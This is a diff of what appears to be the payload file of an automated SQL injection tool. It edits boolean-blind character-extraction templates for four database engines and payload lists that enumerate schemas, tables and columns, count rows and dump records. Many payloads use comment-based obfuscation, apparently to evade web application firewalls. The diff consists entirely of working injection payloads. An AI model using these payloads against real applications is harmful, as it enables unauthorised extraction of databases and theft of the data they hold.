skipped 52 lines 53 53 "MySQL": { 54 54 "ASCII": "ORD(MID({query},{position},1))={char}", 55 55 "ASC": "ORD(MID(IFNULL({query},0x20),{position},1))={char}", 56 - "CHAR": "MID({query},{position},1)=CHAR({char})", 56 + # "CHAR": "MID({query},{position},1)=CHAR({char})", 57 57 }, 58 58 "Oracle": { 59 59 "ASCII": "ASCII(SUBSTRC({query},{position},1))={char}", 60 60 "ASC": "ASCII(SUBSTRC(NVL({query},CHR(32)),{position},1))={char}", 61 - "CHAR": "SUBSTR({query},{position},1)=CHR({char})", 61 + # "CHAR": "SUBSTR({query},{position},1)=CHR({char})", 62 62 }, 63 63 "Microsoft SQL Server": { 64 64 "ASCII": "UNICODE(SUBSTRING({query},{position},1))={char}", 65 65 "ASC": "UNICODE(SUBSTRING(ISNULL({query},' '),{position},1))={char}", 66 - "CHAR": "SUBSTRING({query},{position},1)=CHAR({char})", 66 + # "CHAR": "SUBSTRING({query},{position},1)=CHAR({char})", 67 67 }, 68 68 "PostgreSQL": { 69 69 "ASCII": "ASCII(SUBSTRING({query}::text FROM {position} FOR 1))={char}", 70 70 "ASC": "ASCII(SUBSTRING((COALESCE({query}::text,CHR(32)))::text FROM {position} FOR 1))={char}", 71 - "CHAR": "SUBSTRING({query}::text FROM {position} FOR 1)=CHR({char})", 71 + # "CHAR": "SUBSTRING({query}::text FROM {position} FOR 1)=CHR({char})", 72 72 }, 73 73 } 74 74 skipped 1502 lines 1577 1577 "MySQL": [ 1578 1578 "(SELECT CONCAT(SCHEMA_NAME)FROM(INFORMATION_SCHEMA.SCHEMATA)LIMIT 0,1)", 1579 1579 "(/*!SELECT*//**_**/CONCAT/**_**/(/*!50000SCHEMA_NAME*/)%23/**_**/%0AFROM%23/**_**/%0A(/*!INFORMATION_SCHEMA*/./**_**//*!SCHEMATA*/))LIMIT 0,1", 1580 - "(SELECT CONCAT_WS(0x09 ,SCHEMA_NAME)FROM(INFORMATION_SCHEMA.SCHEMATA)LIMIT 0,1)", 1581 - "(/*!SELECT*/ CONCAT_WS(0x09 ,/*!SCHEMA_NAME*/)FROM(/*!INFORMATION_SCHEMA*/./**_**//*!SCHEMATA*/)LIMIT/**_**/0,1)", 1580 + "(SELECT CONCAT_WS(0x28 , 0x7e ,SCHEMA_NAME)FROM(INFORMATION_SCHEMA.SCHEMATA)LIMIT 0,1)", 1581 + "(/*!SELECT*/ CONCAT_WS(0x28 , 0x7e ,/*!SCHEMA_NAME*/)FROM(/*!INFORMATION_SCHEMA*/./**_**//*!SCHEMATA*/)LIMIT/**_**/0,1)", 1582 1582 ], 1583 1583 "PostgreSQL": [ 1584 1584 "(SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET 0 LIMIT 1)", skipped 58 lines 1643 1643 "(SELECT CONCAT(TABLE_NAME)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA={db})LIMIT 0,1)", 1644 1644 "(SELECT CONCAT(TABLE_NAME)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA LIKE {db})LIMIT 0,1)", 1645 1645 "(SELECT CONCAT(TABLE_NAME)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA IN/**_**/({db}))LIMIT 0,1)", 1646 - "(SELECT CONCAT_WS(0x09 ,TABLE_NAME)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA={db})LIMIT 0,1)", 1647 - "(/*!SELECT*/ CONCAT_WS(0x09 ,/*!TABLE_NAME*/)FROM(/*!INFORMATION_SCHEMA*/./**_**//*!TABLES*/)/*!50000WHERE*/(TABLE_SCHEMA={db})LIMIT/**_**/0,1)", 1646 + "(SELECT CONCAT_WS(0x28 , 0x7e ,TABLE_NAME)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA={db})LIMIT 0,1)", 1647 + "(/*!SELECT*/ CONCAT_WS(0x28 , 0x7e ,/*!TABLE_NAME*/)FROM(/*!INFORMATION_SCHEMA*/./**_**//*!TABLES*/)/*!50000WHERE*/(TABLE_SCHEMA={db})LIMIT/**_**/0,1)", 1648 1648 ], 1649 1649 "PostgreSQL": [ 1650 1650 "(SELECT TABLENAME::text FROM pg_tables WHERE SCHEMANAME={db} OFFSET 0 LIMIT 1)", skipped 59 lines 1710 1710 "(SELECT CONCAT(COLUMN_NAME)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_SCHEMA={db})AND(TABLE_NAME={tbl})LIMIT 0,1)", 1711 1711 "(SELECT CONCAT(COLUMN_NAME)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_SCHEMA LIKE {db})AND(TABLE_NAME LIKE {tbl})LIMIT 0,1)", 1712 1712 "(SELECT CONCAT(COLUMN_NAME)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_SCHEMA IN/**_**/({db}))AND(TABLE_NAME IN({tbl}))LIMIT 0,1)", 1713 - "(SELECT CONCAT_WS(0x09 ,COLUMN_NAME)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_SCHEMA={db})AND(/*!50000TABLE_NAME*/={tbl})LIMIT 0,1)", 1714 - "(/*!SELECT*/ CONCAT_WS(0x09 ,/*!COLUMN_NAME*/)FROM(/*!INFORMATION_SCHEMA*/./**_**//*!COLUMNS*/)/*!50000WHERE*/(TABLE_SCHEMA={db})AND(/*!50000TABLE_NAME*/={tbl})LIMIT/**_**/0,1)", 1713 + "(SELECT CONCAT_WS(0x28 , 0x7e ,COLUMN_NAME)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_SCHEMA={db})AND(/*!50000TABLE_NAME*/={tbl})LIMIT 0,1)", 1714 + "(/*!SELECT*/ CONCAT_WS(0x28 , 0x7e ,/*!COLUMN_NAME*/)FROM(/*!INFORMATION_SCHEMA*/./**_**//*!COLUMNS*/)/*!50000WHERE*/(TABLE_SCHEMA={db})AND(/*!50000TABLE_NAME*/={tbl})LIMIT/**_**/0,1)", 1715 1715 ], 1716 1716 "PostgreSQL": [ 1717 1717 "(SELECT COLUMN_NAME::text FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA LIKE {db} AND TABLE_NAME LIKE {tbl} OFFSET 0 LIMIT 1)", skipped 16 lines 1734 1734 PAYLOADS_RECS_COUNT = { 1735 1735 "MySQL": [ 1736 1736 "(SELECT COUNT(*) FROM {db}.{tbl})", 1737 - # "(SELECT COUNT(*)FROM({db}.{tbl}))", 1737 + "(SELECT COUNT(*)FROM({db}.{tbl}))", 1738 1738 # "(/*!50000SELECT*/+COUNT(/*!50000**/)/*!50000FROM*/(/*!50000{db}*/./*!50000`{tbl}`*/))", 1739 1739 "(SELECT IFNULL(TABLE_ROWS, 0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA={db})AND(TABLE_NAME={tbl}))", 1740 1740 "(SELECT IFNULL(TABLE_ROWS, 0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA LIKE {db})AND(TABLE_NAME LIKE {tbl}))", skipped 13 lines 1754 1754 1755 1755 PAYLOADS_RECS_DUMP = { 1756 1756 "MySQL": [ 1757 - "(SELECT {col} FROM {db}.{tbl} LIMIT 0,1)", 1757 + "(SELECT CONCAT_WS ( 0x28 , 0x7e , {col}) FROM( {db}.` {tbl}` ) LIMIT 0,1)", 1758 1758 "(SELECT CONCAT({col}) FROM {db}.{tbl} LIMIT 0,1)", 1759 - # "(SELECT CONCAT_WS(0x7e,{col})FROM({db}.`{tbl}`)LIMIT 0,1)", 1760 - # "(/*!50000SELECT*/+CONCAT/**_**/(/*!50000{col}*/)/*!50000FROM*/+/*!50000{db}.{tbl}*/+LIMIT+0,1)", 1761 - # "(SELECT/**/CONCAT({col})FROM/**/{db}.{tbl}/**/LIMIT/**_**/0,1)", 1762 - # "(/*!50000SELECT*//**/CONCAT/**_**/(/*!50000{col}*/)/*!50000FROM*/(/*!50000{db}*/./*!50000`{tbl}`*/)LIMIT/**/0,1)", 1763 - # "(/*!50000SELECT*/+ CONCAT/**_**/({col})/*!50000FROM*/+ /*!50000{db}*/./*!50000{tbl}*/+ LIMIT+ 0,1)", 1764 - # "(/*!50000SELECT*//**/CONCAT({col})/*!50000FROM*//**//*!50000{db}*/./*!50000{tbl}*//**/LIMIT/**_**/0,1)", 1759 + "(/*!50000SELECT*/ CONCAT/**_**/(/*!50000{col}*/)/*!50000FROM*/ /*!50000{db}.{tbl}*/ LIMIT 0,1)", 1760 + "(SELECT IFNULL({col},0x20) FROM {db}.{tbl} LIMIT 0,1)", 1761 + "(SELECT/**/CONCAT({col})FROM/**/{db}.{tbl}/**/LIMIT/**_**/0,1)", 1762 + "(/*!50000SELECT*//**/CONCAT/**_**/(/*!50000{col}*/)/*!50000FROM*/(/*!50000{db}*/./*!50000`{tbl}`*/)LIMIT/**/0,1)", 1763 + "(/*!50000SELECT*/ CONCAT/**_**/({col})/*!50000FROM*/ /*!50000{db}*/./*!50000{tbl}*/ LIMIT 0,1)", 1764 + "(/*!50000SELECT*//**/CONCAT({col})/*!50000FROM*//**//*!50000{db}*/./*!50000{tbl}*//**/LIMIT/**_**/0,1)", 1765 1765 ], 1766 1766 "PostgreSQL": [ 1767 1767 "(SELECT {col}::text FROM {db}.{tbl} OFFSET 0 LIMIT 1)", skipped 17 lines